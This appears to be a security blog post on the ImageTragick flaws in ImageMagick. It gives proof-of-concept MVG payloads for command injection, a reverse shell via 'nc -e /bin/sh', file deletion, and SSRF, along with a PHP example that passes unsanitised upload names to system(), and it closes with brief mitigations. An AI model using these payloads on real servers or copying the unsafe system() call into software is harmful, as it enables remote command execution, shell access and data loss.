ImageMagick became ImageTragick

What is ImageMagick ..?

ImageMagick is a free and open-source software suite for displaying, converting, and editing raster image and vector image files. Its capable of manipulating images through command line interface which will be very useful for web developers while converting or editing the images before storing them inside their databases.

Mostly PHP and Perl based web application will use this feature to compare the resolutions and convert it into different formats like thumbnails. Sample command line syntax to convert image in PHP as follows

system("convert ".$target_file." ".$target_dir.$_files['fileToUpload']['tmp_name']);

What’s Wrong With ImageMagick..?

ImageMagick uses Delegate feature to work with images and process them using external system libraries. Delegates configuration file is located in /etc/ImageMagick path which will process input/output arguments with help of system(‘commands’).

Eg:  <delegate decode="doc" command="&quot;@[email protected]&quot; --convert-to pdf -outdir `dirname &quot;%i&quot;` &quot;%i&quot; 2&gt; &quot;%u&quot;; @[email protected] &quot;%i.pdf&quot; &quot;%o&quot;"/>

The above example shows how exactly ImageMagick delegates feature will work. Basically it will guess the file type by its content and it process that document into DecodeDelegates via Command Tag. then it will convert to output file.

Everything is fine but when if we take a look at https delegate which will actually handles the https requests.

<delegate decode="https" command="&quot;@[email protected]&quot; -s -k -L -o &quot;%o&quot; &quot;https:%M&quot;"/>

ImageMagick will handle the https requests normally like follows.

"wget" -q -O "%o" "https:%M"

Here %M is the actual input link like Due to insufficient %M parameter filtering i am able to execute shell commands

'";|pwd" '

The Most Dangerous part here is ImageMagick will support mvg and svg image formats. As a result, any service, which uses ImageMagick to process images and uses default delegates.xml/policy.xml, may be vulnerable to Remote Command Execution and SSRF.

Proof Of Concept:

Remote Command Execution:

As explained above i created a simple mvg (Magic Vector Graphics) image like below.

push graphic-context
viewbox 0 0 640 480
fill 'url(| pwd")'
pop graphic-context

I am uploading this image as exploit.mvg in My Buggy Profile Application where i am using image conversion feature of ImageMagick.

Once i uploaded exploit.mvg it gave me the current directory result.

What’s next i dumped /etc/passwd.

It’s also possible to take the Reverse Shell via image upload with following exploit.

push graphic-context
viewbox 0 0 640 480
fill 'url(| nc -e /bin/sh 1234")'
pop graphic-context

Its possible to delete files on server with help of ImageMagick Ephemeral Pseudo Protocol.

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/sample.txt'

To move the files we can use MSL Pseudo Protocol.

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/sample.txt'

I created sample.txt in /tmp directory and whenever i’m trying to convert that image /tmp/sample.txt got deleted.

Server Side Request Forgery:

We are able to send request to another sites via https request.

push graphic-context
 viewbox 0 0 640 480
 fill 'url('
 pop graphic-context

I am uploading ssrf.mvg file and listening to outgoing traffic via tcpdump.

sudo tcpdump -i any -w /tmp/http.log &

Once file got uploaded into server the application is sending external request to

As shown above it was very clear that we are able to send external request to from our Buggy Profile Application. In this way we can scan the ports and services on

As i told earlier ImageMagick tried to guess the content type not by its extension. So if mvg/svg files are blocked then again we can perform similar attacks with png/jpeg images.


  • Remove the support of SVG and MVG files under delegates/policy file.
  • Trust No One – Sanitise user input by filtering out the malicious image content.




An Active Bug Hunter and Exploit Researcher. Reported several bugs to top tech giants like Microsoft, Google, Intel, Us.Dept of Defense etc. PHP Lover. Blogger. Other than hacking he loves Travelling, Exploring the world. Git-Ref:

More Posts - Website

Follow Me:

Leave A Comment

Your email address will not be published. Required fields are marked *